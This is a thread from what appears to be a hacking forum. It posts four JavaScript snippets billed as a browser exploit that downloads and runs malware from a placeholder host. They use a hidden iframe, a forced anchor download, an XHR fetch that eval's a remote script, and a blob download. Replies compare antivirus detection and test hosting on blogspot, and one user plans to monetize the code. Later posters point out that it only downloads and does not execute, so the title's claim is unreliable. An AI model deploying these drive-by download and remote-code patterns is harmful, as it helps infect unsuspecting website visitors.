Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

JavaScript | exploit browser vulnerability and automatically download and execute

Code
//iframe
function exploitVulnerability() {
    
    var iframe = document.createElement('iframe');
  
    iframe.src = 'http://Yoursite.com/malware.exe';
    
    iframe.style.display = 'none';
  
    document.body.appendChild(iframe);
    
    
    iframe.onload = function() {
        
        var script = document.createElement('script');
      
        script.src = 'http://Yoursite.com/malware.exe';
        
        document.body.appendChild(script);
    };
}


window.onload = exploitVulnerability;




//anchor

function downloadAndExecute(url) {
    
    var anchor = document.createElement('a');
    
    anchor.href = url;

    anchor.download = 'malware.exe';
  
    document.body.appendChild(anchor);
    
    anchor.click();
    
    document.body.removeChild(anchor);
}


downloadAndExecute('http://Youresite.com/malware.exe');

//fetch
function fetchAndExecute(url) {
    
    var xhr = new XMLHttpRequest();
    
    xhr.open('GET', url, true);
    
    xhr.responseType = 'blob';
    
    xhr.onload = function() {
        if (xhr.status === 200) {
        
            var reader = new FileReader();
            
            reader.onload = function() {
              
                eval(reader.result);
            };
            // Read the blob response as text
            reader.readAsText(xhr.response);
        }
    };
  
    xhr.send();
}

fetchAndExecute('http://Yoursite.com/malware.js');


//Blob

function createAndDownload(url) {
    
    var xhr = new XMLHttpRequest();
  
    xhr.open('GET', url, true);
  
    xhr.responseType = 'blob';
  
    xhr.onload = function() {
        if (xhr.status === 200) {
          
            var blob = new Blob([xhr.response], { type: 'application/octet-stream' });
          
            var url = URL.createObjectURL(blob);
          
            var anchor = document.createElement('a');
          
            anchor.href = url;
          
            anchor.download = 'malware.exe';
            
            anchor.click();
            
            URL.revokeObjectURL(url);
        }
    };
  
    xhr.send();
}

createAndDownload('http://Yoursite.com/malware.exe');


Hello,

Here are some simple ways to use JavaScript. Please leave your thoughts on these methods below. I'm unaware if any of these methods are patched now. I have not shared on here in a while and thought id post something fun. What is your favorite method listed?
i tested an eset detected it
(Mar 27, 2024 12:29 AM)chormet Wrote:  i tested an eset detected it

Eset is my fav by far. I'm a reseller of their software. Best in the business imo!
Interesting. Should be less detected and improved, but potentially this could be nice source.
Impressive work, I'm browsing your threads and you are contributing a lot with this community. I'll try this method on a testing machine with WD only and get back with results
(Jul 13, 2024 01:19 AM)danielgomesb Wrote:  Impressive work, I'm browsing your threads and you are contributing a lot with this community. I'll try this method on a testing machine with WD only and get back with results

Did Microsoft defender pick It up? Or did It actually work?
(Jul 14, 2024 07:35 AM)I Roll the Nickles Wrote:  Did Microsoft defender pick It up? Or did It actually work?

I use Nod32 and it was detected by them. Test it for yourself.
(Jul 14, 2024 07:35 AM)I Roll the Nickles Wrote:  Did Microsoft defender pick It up? Or did It actually work?

I was not able to make the browser download and execute, tried all the methods, with iframe method it only downloaded the payload, but didn't executed, the other methods did nothing. I was using blogspot to host the html with the code, putty as payload and the browser was Chrome.

Am I missing something?
(Jul 15, 2024 07:23 PM)danielgomesb Wrote:  I was not able to make the browser download and execute, tried all the methods, with iframe method it only downloaded the payload, but didn't executed, the other methods did nothing. I was using blogspot to host the html with the code, putty as payload and the browser was Chrome.

Am I missing something?

Yeah, Chrome doesn't allow you to run executables from disk.
(Jul 15, 2024 08:16 PM)DramaKing Wrote:  Yeah, Chrome doesn't allow you to run executables from disk.

Forgot to mention I also tried this in MS Edge, same results, guess that's because it's chromium based. I think this only works on outdated browsers like old Firefox versions and IE, but I'll try on Opera. If it works I have a way to monetize it
(Jul 15, 2024 08:38 PM)danielgomesb Wrote:  Forgot to mention I also tried this in MS Edge, same results, guess that's because it's chromium based. I think this only works on outdated browsers like old Firefox versions and IE, but I'll try on Opera. If it works I have a way to monetize it


This code will only download, it will not execute. However, I believe chrome will auto execute a pdf if downloaded ;) Fyi.
Just saw the thread since its on top. I try to make use of it with a different approach, thanks for sharing and making forum a better place.
(Jul 16, 2024 05:32 PM)Py_Dev Wrote:  This code will only download, it will not execute. However, I believe chrome will auto execute a pdf if downloaded ;) Fyi.

Then I got confused by the title of the thread "download and execute" made me think this scripts were like an exploit that run .exe directly from the browser. I know it's kinda impossible, but this gave me some hopes
(Jul 17, 2024 02:13 PM)danielgomesb Wrote:  Then I got confused by the title of the thread "download and execute" made me think this scripts were like an exploit that run .exe directly from the browser. I know it's kinda impossible, but this gave me some hopes

Oh i didnt realize i even put that in the title, it wont let me change it now. My b bro.
That... is not how iframes work


Possibly Related Threads...
Thread / Author Replies Views Last Post
by ArassSep 9, 2023 04:55 AM 1 140 Sep 9, 2023 04:55 AM
Last Post: DramaKing
by M O H A M A DOct 24, 2019 09:57 AM 2 245 Oct 24, 2019 09:57 AM
Last Post: M O H A M A D
by ApexLeadJun 17, 2018 07:00 AM 8 248 Jun 17, 2018 07:00 AM
Last Post: ProtectNull™